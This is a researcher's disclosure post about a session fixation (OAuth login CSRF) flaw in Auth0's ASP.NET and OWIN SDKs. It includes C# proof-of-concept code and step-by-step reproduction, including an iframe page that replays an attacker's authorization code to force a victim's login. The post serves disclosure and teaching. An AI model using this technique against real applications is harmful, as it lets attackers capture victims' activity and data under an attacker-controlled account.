Session fixation vulnerability in the Auth0 ASP.NET and OWIN SDKs

Recently, I received a mail from Auth0 asking me if I was interested in joining them. I had used Auth0 many times in the past but I had never taken the time to look at their OSS SDKs. This mail was a good opportunity to change that.

When doing so, I discovered that both their ASP.NET 4.x and OWIN/Katana SDKs were unfortunately prone to "session fixation", which is a form of cross-site request forgery allowing to force a victim to log in under an attacker's account.

Since it's a quite frequent vulnerability, here's a quick overview of what causes it and how you can concretly exploit it.

Auth0 was already aware of this issue internally and decided to switch to the official OWIN OpenID Connect middleware developed by Microsoft, which is not prone to this class of attack.

If you need to migrate, Auth0 has prepared a migration guide listing the steps required to replace Auth0-ASPNET-Owin by Microsoft's OpenID Connect middleware.

What do session fixation attacks consist in?

The OAuth 2.0 threat model RFC – a must read for anyone dealing with OAuth 2.0 and OpenID Connect – gives an excellent definition of this threat and its practical implications:

Cross-site request forgery (CSRF) is a web-based attack whereby HTTP requests are transmitted from a user that the web site trusts or has authenticated (e.g., via HTTP redirects or HTML forms). CSRF attacks on OAuth approvals can allow an attacker to obtain authorization to OAuth protected resources without the consent of the user. This attack works against the redirect URI used in the authorization "code" flow.

An attacker could authorize an authorization "code" to their own protected resources on an authorization server. He then aborts the redirect flow back to the client on his device and tricks the victim into executing the redirect back to the client. The client receives the redirect, fetches the token(s) from the authorization server, and associates the victim's client session with the resources accessible using the token.

Impact: the user accesses resources on behalf of the attacker. The effective impact depends on the type of resource accessed. For example, the user may upload private items to an attacker's resources. Or, when using OAuth in 3rd-party login scenarios, the user may associate his client account with the attacker's identity at the external Identity Provider. In this way, the attacker could easily access the victim's data at the client by logging in from another device with his credentials at the external Identity Provider.

Usually, this (generally underestimated) threat is mitigated by correlating the authorization response with the authorization request: typically, by generating an unguessable value before redirecting the user to the Identity Provider and validating it before sending the token request.

Unfortunately, this kind of check is not made by the Auth0 ASP.NET 4.x and OWIN SDKs, making them vulnerable to this class of attack.

How can I reproduce the vulnerability?

Reproducing the vulnerability is quite easy. For that, I wrote a simple self-hosted OWIN/Katana console application using the vulnerable Auth0-ASPNET-Owin package.

The specific version doesn't matter much, as a quick look at the git history seems to indicate this vulnerability exists since the very first day: all versions are potentially vulnerable.

Create a self-hosted OWIN application

packages.config
1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Auth0-ASPNET-Owin" version="2.3.1" targetFramework="net47" />
<package id="Microsoft.Owin" version="3.1.0" targetFramework="net47" />
<package id="Microsoft.Owin.Host.HttpListener" version="3.1.0" targetFramework="net47" />
<package id="Microsoft.Owin.Hosting" version="3.1.0" targetFramework="net47" />
<package id="Microsoft.Owin.Security" version="3.1.0" targetFramework="net47" />
<package id="Microsoft.Owin.Security.Cookies" version="3.1.0" targetFramework="net47" />
<package id="Newtonsoft.Json" version="7.0.1" targetFramework="net47" />
<package id="Owin" version="1.0" targetFramework="net47" />
<package id="System.Text.Encodings.Web" version="4.5.0" targetFramework="net47" />
</packages>
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using System;
using Microsoft.Owin.Hosting;

namespace SessionFixationDemo
{
public static class Program
{
public static void Main(string[] args)
{
const string address = "http://localhost:[port]/";

using (WebApp.Start<Startup>(address))
{
Console.WriteLine($"Server is running on {address}, press CTRL+C to stop.");
Console.ReadLine();
}
}
}
}
Startup.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
using System.Text.Encodings.Web;
using Auth0.Owin;
using Microsoft.Owin;
using Microsoft.Owin.Security;
using Microsoft.Owin.Security.Cookies;
using Owin;

namespace SessionFixationDemo
{
public class Startup
{
public void Configuration(IAppBuilder app)
{
app.SetDefaultSignInAsAuthenticationType(CookieAuthenticationDefaults.AuthenticationType);

app.UseCookieAuthentication(new CookieAuthenticationOptions());

app.UseAuth0Authentication(new Auth0AuthenticationOptions
{
Domain = "[domain]",
ClientId = "[client identifier]",
ClientSecret = "[client secret]"
});

app.Run(async context =>
{
if (context.Request.Path == new PathString("/challenge"))
{
var properties = new AuthenticationProperties
{
RedirectUri = "/"
};

context.Authentication.Challenge(properties, "Auth0");
return;
}

if (context.Request.Path == new PathString("/fix-session"))
{
var code = context.Request.Query["attacker_authorization_code"];
if (string.IsNullOrEmpty(code))
{
context.Response.StatusCode = 400;
return;
}

context.Response.ContentType = "text/html";
await context.Response.WriteAsync($@"<!doctype html>
<html>
<head>
<title>Session fixation demonstration</title>
</head>
<body>
<iframe src=""/signin-auth0?code={HtmlEncoder.Default.Encode(code)}""></iframe>
</body>
</html>");
return;
}

if (context.Authentication.User == null ||
!context.Authentication.User.Identity.IsAuthenticated)
{
await context.Response.WriteAsync("You're not logged in. ");
await context.Response.WriteAsync("Visit /challenge to trigger a challenge.");
return;
}

var name = HtmlEncoder.Default.Encode(context.Authentication.User.Identity.Name);
await context.Response.WriteAsync($"You're logged in as {name}.");
});
}
}
}

Register a new Auth0 application

Thanks to Auth0's user-friendly portal, registering a new Web server application is quite straightforward. When created, don't forget to register http://localhost:[port]/signin-auth0 as a valid redirect_uri:

Create a first account (playing the attacker role)

Once the application is correctly registered, start the OWIN application and visit http://localhost:[port]/challenge to start a new authentication flow. Doing that will redirect you to the Auth0 login page:

Then, create a new account that will be used as the attacker account and approve the authorization request. Once approved, you should be redirected to the OWIN application and the following message should appear:

You're logged in as [email address of your first account].

Create a second account (playing the victim role)

For that, visit http://localhost:[port]/challenge a second time, create a new Auth0 account and approve the authorization request exactly like you did during the previous step.

At this point, you should be logged in as the victim:

You're logged in as [email address of your second account].

In a private browser window, start a new authentication flow using the attacker account

At this stage, the objective is to retrieve an authorization code associated with the attacker account. To do that, my preferred option is to use Fiddler and its breakpoints feature, that will allow you to abort the authentication flow before being redirected back to the OWIN application (and ensure the authorization code is not redeemed):

In a private browser window, visit http://localhost:[port]/challenge, go back to Fiddler and allow the challenge request to be processed by clicking on Run to completion.

After logging in as the attacker, you should be redirected by Auth0 back to the OWIN application with the precious authorization code:

Extract the authorization code from the query string and abort the request by choosing a fake response in Fiddler's list before clicking on Run to completion:

Copy the attacker's authorization code and close the window.

Force the victim to log in as the attacker

Now, go back to your main browser window and visit http://localhost:[port]/ to confirm you're still logged in using the victim account.

Then, visit http://localhost:[port]/fix-session?attacker_authorization_code=[code]. This page contains a malicious iframe that directly points to the redirect_uri endpoint of the OWIN application. When visiting this page, you'll be immediately logged out of your main account – i.e the victim – and all requests will now be sent using the attacker's identity:

In a real world attack, this HTML page would be hosted by an attacker on a different server and would be embedded in a malicious site or directly reached by a victim after clicking on a link. Here, the /fix-session endpoint is only provided for convenience.

Acknowledgments

Kudos to Marcin Hoppe and Jerrie Pelser for their promptness in getting back to me. While Auth0 doesn't have a real "bug bounty" program yet – which is frankly unfortunate for a such big player in the Identity sector (specially when vendors like Microsoft or Okta already have proper programs in place) – it's certainly a good thing to be able to reach them very quickly.